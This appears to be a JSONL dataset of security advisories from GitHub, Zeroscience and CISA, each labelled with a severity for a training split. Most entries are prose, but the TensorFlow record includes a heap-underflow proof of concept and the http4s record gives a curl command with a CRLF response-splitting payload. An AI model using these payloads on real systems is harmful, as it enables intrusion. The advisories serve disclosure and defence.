-{"id": "c407edf102fbcb6cb832", "text": "Epic Games Psyonix Rocket League <=1.95 Insecure Permissions", "text_raw": "Epic Games Psyonix Rocket League <=1.95 Insecure Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-04-30", "split": "train"}
-{"id": "1522d8feb659d28061ca", "text": "Directory traversal in rollup-plugin-server\n\nThis affects all versions of package rollup-plugin-dev-server. There is no path sanitization in `readFile` operation inside the `readFileFromContentBase` function.", "text_raw": "Directory traversal in rollup-plugin-server\n\n[Severity: HIGH]\n\nThis affects all versions of package rollup-plugin-dev-server. There is no path sanitization in `readFile` operation inside the `readFileFromContentBase` function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "89fa3c6332d0a50bdb47", "text": "Withdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in actionpack/lib/action_dispatch/middleware/static.rb in Action Pack in Ruby on Rails 3.x before 3.2.20, 4.0.x before 4.0.11, 4.1.x before 4.1.7, and 4.2.x before 4.2.0.beta3, when serve_static_assets is enabled, allows remote attackers to determine the existence of files outside the application root via a /..%2F sequence.", "text_raw": "Moderate severity vulnerability that affects actionpack\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nDirectory traversal vulnerability in actionpack/lib/action_dispatch/middleware/static.rb in Action Pack in Ruby on Rails 3.x before 3.2.20, 4.0.x before 4.0.11, 4.1.x before 4.1.7, and 4.2.x before 4.2.0.beta3, when serve_static_assets is enabled, allows remote attackers to determine the existence of files outside the application root via a /..%2F sequence.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "853fb14910ea64f475b9", "text": "Authentication Bypass in otpauth\n\nVersions of `otpauth` prior to 3.2.8 are vulnerable to Authentication Bypass. The package's `totp.validate()` function may return positive values for single digit tokens even if they are invalid. This may allow attackers to bypass the OTP authentication by providing single digit tokens.\n\n## Recommendation\n\nUpgrade to version 3.2.8 or later.", "text_raw": "Authentication Bypass in otpauth\n\n[Severity: HIGH]\n\nVersions of `otpauth` prior to 3.2.8 are vulnerable to Authentication Bypass. The package's `totp.validate()` function may return positive values for single digit tokens even if they are invalid. This may allow attackers to bypass the OTP authentication by providing single digit tokens.\n\n\n## Recommendation\n\nUpgrade to version 3.2.8 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d71f91fce1869507b4c5", "text": "SQL Injection in Gogs\n\nMultiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.", "text_raw": "SQL Injection in Gogs\n\n[Severity: HIGH]\n\nMultiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "560964517f89d433292d", "text": "Malicious Package in river-mock\n\nAll versions of `river-mock` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in river-mock\n\n[Severity: CRITICAL]\n\nAll versions of `river-mock` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "47c538cc0fb63dd513dd", "text": "Free of uninitialized memory in telemetry\n\nAn issue was discovered in the telemetry crate through 0.1.2 for Rust. There is a drop of uninitialized memory if a value.clone() call panics within misc::vec_with_size()", "text_raw": "Free of uninitialized memory in telemetry\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the telemetry crate through 0.1.2 for Rust. There is a drop of uninitialized memory if a value.clone() call panics within misc::vec_with_size()", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b8bf2bc38eb1cd444299", "text": "Malicious Package in ripmed160\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in ripmed160\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f433fa99933bc3b3cf8e", "text": "VideoFlow Digital Video Protection DVP 10 Authenticated Root Remote Code Execution", "text_raw": "VideoFlow Digital Video Protection DVP 10 Authenticated Root Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-03-31", "split": "train"}
-{"id": "bd777251da6e05090ea7", "text": "Malicious Package in eslint-config-eslint\n\nVersion 5.0.2 of `eslint-config-eslint` was published without authorization and was found to contain malicious code. This code would read the users `.npmrc` file and send any found authentication tokens to a remote server.\n\n## Recommendation\n\nThe best course of action if you found this package installed in your environment is to revoke all your npm tokens. You can find instructions on how to do that here. https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens\n\nUsers may consider downgrading to version 5.0.1", "text_raw": "Malicious Package in eslint-config-eslint\n\n[Severity: CRITICAL]\n\nVersion 5.0.2 of `eslint-config-eslint` was published without authorization and was found to contain malicious code. This code would read the users `.npmrc` file and send any found authentication tokens to a remote server.\n\n\n## Recommendation\n\nThe best course of action if you found this package installed in your environment is to revoke all your npm tokens. You can find instructions on how to do that here. https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens\n\nUsers may consider downgrading to version 5.0.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b78b462714818f3254f2", "text": "nodeschnaps downloads resources over HTTP\n\nAffected versions of `nodeschnaps` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nodeschnaps`.\n\n## Recommendation\n\nUpdate to version 1.0.3 or later.", "text_raw": "nodeschnaps downloads resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `nodeschnaps` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nodeschnaps`.\n\n\n## Recommendation\n\nUpdate to version 1.0.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "cb571a884f3561521e11", "text": "Out-of-bounds Write in ChakraCore\n\nChakra Scripting Engine Memory Corruption Vulnerability This CVE ID is unique from CVE-2020-17054.", "text_raw": "Out-of-bounds Write in ChakraCore\n\n[Severity: HIGH]\n\nChakra Scripting Engine Memory Corruption Vulnerability This CVE ID is unique from CVE-2020-17054.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "49d50aa8450b94693e82", "text": "Microsoft is aware of a denial of service vulnerability in ASP.NET Core when a malformed request is terminated. An attacker who successfully exploited this vulnerability could cause a denial of service attack.\n\nThe update addresses the vulnerability by correcting how ASP.NET Core handles such requests.", "text_raw": "Moderate severity vulnerability that affects Microsoft.AspNetCore.All, Microsoft.AspNetCore.App, and Microsoft.AspNetCore.Server.Kestrel.Core\n\n[Severity: MEDIUM]\n\nMicrosoft is aware of a denial of service vulnerability in ASP.NET Core when a malformed request is terminated. An attacker who successfully exploited this vulnerability could cause a denial of service attack.\n\nThe update addresses the vulnerability by correcting how ASP.NET Core handles such requests.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "e2966f09121a31947654", "text": "SonicWall Email Security Path Traversal Vulnerability\n\nAffected: SonicWall SonicWall Email Security\n\nSonicWall Email Security contains a path traversal vulnerability that allows a post-authenticated attacker to read files on the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20022 to achieve privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SonicWall Email Security Path Traversal Vulnerability\n\nAffected: SonicWall SonicWall Email Security\n\nSonicWall Email Security contains a path traversal vulnerability that allows a post-authenticated attacker to read files on the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20021 and CVE-2021-20022 to achieve privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3d0719b824046f691637", "text": "Invalid validation in `QuantizeAndDequantizeV2`\n\n### Impact\nThe validation in `tf.raw_ops.QuantizeAndDequantizeV2` allows invalid values for `axis` argument:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([0.0], shape=[1], dtype=float)\ninput_min = tf.constant(-10.0)\ninput_max = tf.constant(-10.0)\n\ntf.raw_ops.QuantizeAndDequantizeV2(\n  input=input_tensor, input_min=input_min, input_max=input_max,\n  signed_input=False, num_bits=1, range_given=False, round_mode='HALF_TO_EVEN',\n  narrow_range=False, axis=-2)\n```\n\nThe [validation](https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L74-L77) uses `||` to mix two different conditions:\n\n```cc\nOP_REQUIRES(ctx,\n  (axis_ == -1 || axis_ < input.shape().dims()),\n  errors::InvalidArgument(...));\n```\n\nIf `axis_ < -1` the condition in `OP_REQUIRES` will still be true, but this value of `axis_` results in heap underflow. This allows attackers to read/write to other data on the heap.\n\n### Patches\nWe have patched the issue in GitHub commit [c5b0d5f8ac19888e46ca14b0e27562e7fbbee9a9](https://github.com/tensorflow/tensorflow/commit/c5b0d5f8ac19888e46ca14b0e27562e7fbbee9a9).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Invalid validation in `QuantizeAndDequantizeV2`\n\n[Severity: LOW]\n\n### Impact\nThe validation in `tf.raw_ops.QuantizeAndDequantizeV2` allows invalid values for `axis` argument:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([0.0], shape=[1], dtype=float)\ninput_min = tf.constant(-10.0)\ninput_max = tf.constant(-10.0)\n\ntf.raw_ops.QuantizeAndDequantizeV2(\n  input=input_tensor, input_min=input_min, input_max=input_max,\n  signed_input=False, num_bits=1, range_given=False, round_mode='HALF_TO_EVEN',\n  narrow_range=False, axis=-2)\n``` \n\nThe [validation](https://github.com/tensorflow/tensorflow/blob/eccb7ec454e6617738554a255d77f08e60ee0808/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L74-L77) uses `||` to mix two different conditions:\n\n```cc\nOP_REQUIRES(ctx,\n  (axis_ == -1 || axis_ < input.shape().dims()),\n  errors::InvalidArgument(...));\n```\n\nIf `axis_ < -1` the condition in `OP_REQUIRES` will still be true, but this value of `axis_` results in heap underflow. This allows attackers to read/write to other data on the heap.\n\n### Patches\nWe have patched the issue in GitHub commit [c5b0d5f8ac19888e46ca14b0e27562e7fbbee9a9](https://github.com/tensorflow/tensorflow/commit/c5b0d5f8ac19888e46ca14b0e27562e7fbbee9a9).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "ae1f41ba5b51f79902fe", "text": "XSS in mdBook\n\n> This is a cross-post of [the official security advisory][ml]. The official post contains a signed version with our PGP key, as well.\n\n[ml]: https://groups.google.com/g/rustlang-security-announcements/c/3-sO6of29O0\n\nThe Rust Security Response Working Group was recently notified of a security issue affecting the search feature of mdBook, which could allow an attacker to execute arbitrary JavaScript code on the page.\n\nThe CVE for this vulnerability is [CVE-2020-26297](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26297).\n\n## Overview\n\nThe search feature of mdBook (introduced in version 0.1.4) was affected by a cross site scripting vulnerability that allowed an attacker to execute arbitrary JavaScript code on an user's browser by tricking the user into typing a malicious search query, or tricking the user into clicking a link to the search page with the malicious search query prefilled.\n\nmdBook 0.4.5 fixes the vulnerability by properly escaping the search query.\n\n## Mitigations\n\nOwners of websites built with mdBook have to upgrade to mdBook 0.4.5 or greater and rebuild their website contents with it. It's possible to install mdBook 0.4.5 on the local system with:\n\n```\ncargo install mdbook --version 0.4.5 --force\n```\n\n## Acknowledgements\n\nThanks to Kamil Vavra for responsibly disclosing the vulnerability to us according to [our security policy](https://www.rust-lang.org/policies/security).\n\n## Timeline of events\n\nAll times are listed in UTC.\n\n- 2020-12-30 20:14 - The issue is reported to the Rust Security Response WG\n- 2020-12-30 20:32 - The issue is acknowledged and the investigation began\n- 2020-12-30 21:21 - Found the cause of the vulnerability and prepared the patch\n- 2021-01-04 15:00 - Patched version released and vulnerability disclosed", "text_raw": "XSS in mdBook\n\n[Severity: HIGH]\n\n> This is a cross-post of [the official security advisory][ml]. The official post contains a signed version with our PGP key, as well.\n\n[ml]: https://groups.google.com/g/rustlang-security-announcements/c/3-sO6of29O0\n\nThe Rust Security Response Working Group was recently notified of a security issue affecting the search feature of mdBook, which could allow an attacker to execute arbitrary JavaScript code on the page.\n\nThe CVE for this vulnerability is [CVE-2020-26297](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26297).\n\n## Overview\n\nThe search feature of mdBook (introduced in version 0.1.4) was affected by a cross site scripting vulnerability that allowed an attacker to execute arbitrary JavaScript code on an user's browser by tricking the user into typing a malicious search query, or tricking the user into clicking a link to the search page with the malicious search query prefilled.\n\nmdBook 0.4.5 fixes the vulnerability by properly escaping the search query.\n\n## Mitigations\n\nOwners of websites built with mdBook have to upgrade to mdBook 0.4.5 or greater and rebuild their website contents with it. It's possible to install mdBook 0.4.5 on the local system with:\n\n```\ncargo install mdbook --version 0.4.5 --force\n```\n\n## Acknowledgements\n\nThanks to Kamil Vavra for responsibly disclosing the vulnerability to us according to [our security policy](https://www.rust-lang.org/policies/security).\n\n## Timeline of events\n\nAll times are listed in UTC.\n\n- 2020-12-30 20:14 - The issue is reported to the Rust Security Response WG\n- 2020-12-30 20:32 - The issue is acknowledged and the investigation began\n- 2020-12-30 21:21 - Found the cause of the vulnerability and prepared the patch\n- 2021-01-04 15:00 - Patched version released and vulnerability disclosed", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3e1a6cfcd9901363cf0b", "text": "django-epiceditor vulnerable to XSS in form field\n\nThere is a cross-site scripting vulnerability in django-epiceditor 0.2.3 via crafted content in a form field.", "text_raw": "django-epiceditor vulnerable to XSS in form field\n\n[Severity: MEDIUM]\n\nThere is a cross-site scripting vulnerability in django-epiceditor 0.2.3 via crafted content in a form field.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "361762fff6500325484a", "text": "User enumeration leak using switch user functionality in Symfony\n\nAn issue was discovered in Symfony 4.2.0 to 4.2.11 and 4.3.0 to 4.3.7. The ability to enumerate users was possible due to different handling depending on whether the user existed when making unauthorized attempts to use the switch users functionality. This is related to symfony/security.", "text_raw": "User enumeration leak using switch user functionality in Symfony\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Symfony 4.2.0 to 4.2.11 and 4.3.0 to 4.3.7. The ability to enumerate users was possible due to different handling depending on whether the user existed when making unauthorized attempts to use the switch users functionality. This is related to symfony/security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "2c5d67348f09cc05d025", "text": "Failure to properly verify ed25519 signatures in libp2p-core\n\nAffected versions of this crate did not properly verify ed25519 signatures. Any signature with a correct length was considered valid. This allows an attacker to impersonate any node identity.", "text_raw": "Failure to properly verify ed25519 signatures in libp2p-core\n\n[Severity: HIGH]\n\nAffected versions of this crate did not properly verify ed25519 signatures. Any signature with a correct length was considered valid. This allows an attacker to impersonate any node identity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "49cf86c1a3b6e21c8b96", "text": "Rack allows Percent-encoded cookies to overwrite existing prefixed cookie names\n\nA reliance on cookies without validation/integrity check security vulnerability exists in rack < 2.2.3, rack < 2.1.4 that makes it possible for an attacker to forge a secure or host-only cookie prefix.", "text_raw": "Rack allows Percent-encoded cookies to overwrite existing prefixed cookie names\n\n[Severity: HIGH]\n\nA reliance on cookies without validation/integrity check security vulnerability exists in rack < 2.2.3, rack < 2.1.4 that makes it possible for an attacker to forge a secure or host-only cookie prefix.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-24", "split": "train"}
-{"id": "ffcff077be1e38e0e1a9", "text": "Rails ActiveRecord gem vulnerable to SQL injection\n\nMultiple SQL injection vulnerabilities in Ruby on Rails before 2.1.1 allow remote attackers to execute arbitrary SQL commands via the (1) `:limit` and (2) `:offset` parameters, related to ActiveRecord, ActiveSupport, ActiveResource, ActionPack, and ActionMailer.", "text_raw": "Rails ActiveRecord gem vulnerable to SQL injection\n\n[Severity: HIGH]\n\nMultiple SQL injection vulnerabilities in Ruby on Rails before 2.1.1 allow remote attackers to execute arbitrary SQL commands via the (1) `:limit` and (2) `:offset` parameters, related to ActiveRecord, ActiveSupport, ActiveResource, ActionPack, and ActionMailer.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "13a17490a850bafee90d", "text": "DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Stored XSS And CSRF Vulnerabilities", "text_raw": "DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Stored XSS And CSRF Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-08-09", "split": "train"}
-{"id": "83481d50fe8ea1a8d430", "text": "WEG SuperDrive G2 v12.0.0 Insecure File Permissions", "text_raw": "WEG SuperDrive G2 v12.0.0 Insecure File Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-01-16", "split": "train"}
-{"id": "8ce2fc167d53fa5d78f1", "text": "Remote code execution (RCE) in Apache Airflow\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting `load_examples=False` in the config then you are not vulnerable.", "text_raw": "Remote code execution (RCE) in Apache Airflow\n\n[Severity: HIGH]\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting `load_examples=False` in the config then you are not vulnerable.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "fee3d572d1675cd3e7f6", "text": "TECO AP-PCLINK 1.094 TPC File Handling Buffer Overflow Vulnerability", "text_raw": "TECO AP-PCLINK 1.094 TPC File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-11-15", "split": "train"}
-{"id": "766887afff3589f005c8", "text": "Leak of information via Store-API aggregations in shopware/platform and shopware/core\n\n### Impact\n\nLeak of information via Store-API\n\n### Patches\nWe recommend to update to the current version 6.3.5.3. You can get the update to 6.3.5.3 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2021", "text_raw": "Leak of information via Store-API aggregations in shopware/platform and shopware/core\n\n[Severity: CRITICAL]\n\n### Impact\n\nLeak of information via Store-API\n\n### Patches\nWe recommend to update to the current version 6.3.5.3. You can get the update to 6.3.5.3 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2021", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "51f65474ec84395a0c1c", "text": "Cross-site Scripting in HAPI FHIR\n\nXSS exists in the HAPI FHIR testpage overlay module of the HAPI FHIR library before 3.8.0. The attack involves unsanitized HTTP parameters being output in a form page, allowing attackers to leak cookies and other sensitive information from ca/uhn/fhir/to/BaseController.java via a specially crafted URL. (This module is not generally used in production systems so the attack surface is expected to be low, but affected systems are recommended to upgrade immediately.)", "text_raw": "Cross-site Scripting in HAPI FHIR\n\n[Severity: MEDIUM]\n\nXSS exists in the HAPI FHIR testpage overlay module of the HAPI FHIR library before 3.8.0. The attack involves unsanitized HTTP parameters being output in a form page, allowing attackers to leak cookies and other sensitive information from ca/uhn/fhir/to/BaseController.java via a specially crafted URL. (This module is not generally used in production systems so the attack surface is expected to be low, but affected systems are recommended to upgrade immediately.)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-07", "split": "train"}
-{"id": "aa06925a733aca118594", "text": "Response Splitting from unsanitized headers\n\n### Impact\n\nhttp4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:\n\n* Header names (`Header.name`å\n* Header values (`Header.value`)\n* Status reason phrases (`Status.reason`)\n* URI paths (`Uri.Path`)\n* URI authority registered names (`URI.RegName`) (through 0.21)\n\nThe following backends render invalid carriage return, newline, or null characters in an unsafe fashion.\n\n|                | blaze-server | ember-server | blaze-client | ember-client | jetty-client |\n|:---------------|:-------------|:-------------|:-------------|--------------|--------------|\n| header names   | ⚠            | ⚠            | ⚠            | ⚠            |   ⚠            | \n| header values  | ⚠            | ⚠            | ⚠            | ⚠            |              |\n| status reasons | ⚠            | ⚠            |              |              |              |\n| URI paths      |              |              |  ⚠             |  ⚠             |              |\n| URI regnames   |              |              |  ⚠ < 0.22           |  ⚠ < 0.22            |              |\n\nFor example, given the following service:\n\n```scala\nimport cats.effect._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.server.blaze.BlazeServerBuilder\nimport scala.concurrent.ExecutionContext.global\n\nobject ResponseSplit extends IOApp {\n  override def run(args: List[String]): IO[ExitCode] =\n    BlazeServerBuilder[IO](global)\n      .bindHttp(8080)\n      .withHttpApp(httpApp)\n      .resource\n      .use(_ => IO.never)\n\nval httpApp: HttpApp[IO] =\n    HttpApp[IO] { req =>\n      req.params.get(\"author\") match {\n        case Some(author) =>\n          Ok(\"The real content\")\n            .map(_.putHeaders(Header(\"Set-Cookie\", s\"author=${author}\")))\n        case None =>\n          BadRequest(\"No author parameter\")\n      }\n    }\n}\n```\n\nA clean `author` parameter returns a clean response:\n\n```sh\ncurl -i 'http://localhost:8080/?author=Ross'\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=Ross\nDate: Mon, 20 Sep 2021 04:12:10 GMT\nContent-Length: 16\n\nThe real content\n```\n\nA malicious `author` parameter allows a user-agent to hijack the response from our server and return different content:\n\n```sh\ncurl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=hax0r\nContent-Length: 13\n\nI hacked you\n```\n\n### Patches\n\nVersions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:\n\n* If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.\n* If a header name is invalid in a request or response, the header is dropped.  There is no way to generically sanitize a header without potentially shadowing a correct one.\n* If a header value is invalid in a request or response, it is sanitized by replacing null (`\\u0000`), carriage return (`\\r`), and newline (`\\n`) with space (` `) characters per spec.\n* If a URI path or registered name is invalid in a request line, the client raises an `IllegalArgumentException`.\n* If a URI registered name is invalid in a host header, the client raises an `IllegalArgumentException`.\n\n### Workarounds\n\nhttp4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend.  The carriage return, newline, and null characters are the most threatening.\n\nNot all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.\n\n### References\n* https://owasp.org/www-community/attacks/HTTP_Response_Splitting\n* https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://git", "text_raw": "Response Splitting from unsanitized headers\n\n[Severity: HIGH]\n\n### Impact\n\nhttp4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:\n\n* Header names (`Header.name`å\n* Header values (`Header.value`)\n* Status reason phrases (`Status.reason`)\n* URI paths (`Uri.Path`)\n* URI authority registered names (`URI.RegName`) (through 0.21)\n\nThe following backends render invalid carriage return, newline, or null characters in an unsafe fashion.\n\n|                | blaze-server | ember-server | blaze-client | ember-client | jetty-client |\n|:---------------|:-------------|:-------------|:-------------|--------------|--------------|\n| header names   | ⚠            | ⚠            | ⚠            | ⚠            |   ⚠            | \n| header values  | ⚠            | ⚠            | ⚠            | ⚠            |              |\n| status reasons | ⚠            | ⚠            |              |              |              |\n| URI paths      |              |              |  ⚠             |  ⚠             |              |\n| URI regnames   |              |              |  ⚠ < 0.22           |  ⚠ < 0.22            |              |\n\nFor example, given the following service:\n\n```scala\nimport cats.effect._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.server.blaze.BlazeServerBuilder\nimport scala.concurrent.ExecutionContext.global\n\nobject ResponseSplit extends IOApp {\n  override def run(args: List[String]): IO[ExitCode] =\n    BlazeServerBuilder[IO](global)\n      .bindHttp(8080)\n      .withHttpApp(httpApp)\n      .resource\n      .use(_ => IO.never)\n\n  val httpApp: HttpApp[IO] =\n    HttpApp[IO] { req =>\n      req.params.get(\"author\") match {\n        case Some(author) =>\n          Ok(\"The real content\")\n            .map(_.putHeaders(Header(\"Set-Cookie\", s\"author=${author}\")))\n        case None =>\n          BadRequest(\"No author parameter\")\n      }\n    }\n}\n```\n\nA clean `author` parameter returns a clean response:\n\n```sh\ncurl -i 'http://localhost:8080/?author=Ross'\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=Ross\nDate: Mon, 20 Sep 2021 04:12:10 GMT\nContent-Length: 16\n\nThe real content\n```\n\nA malicious `author` parameter allows a user-agent to hijack the response from our server and return different content:\n\n```sh\ncurl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=hax0r\nContent-Length: 13\n\nI hacked you\n```\n\n### Patches\n\nVersions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:\n\n* If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.\n* If a header name is invalid in a request or response, the header is dropped.  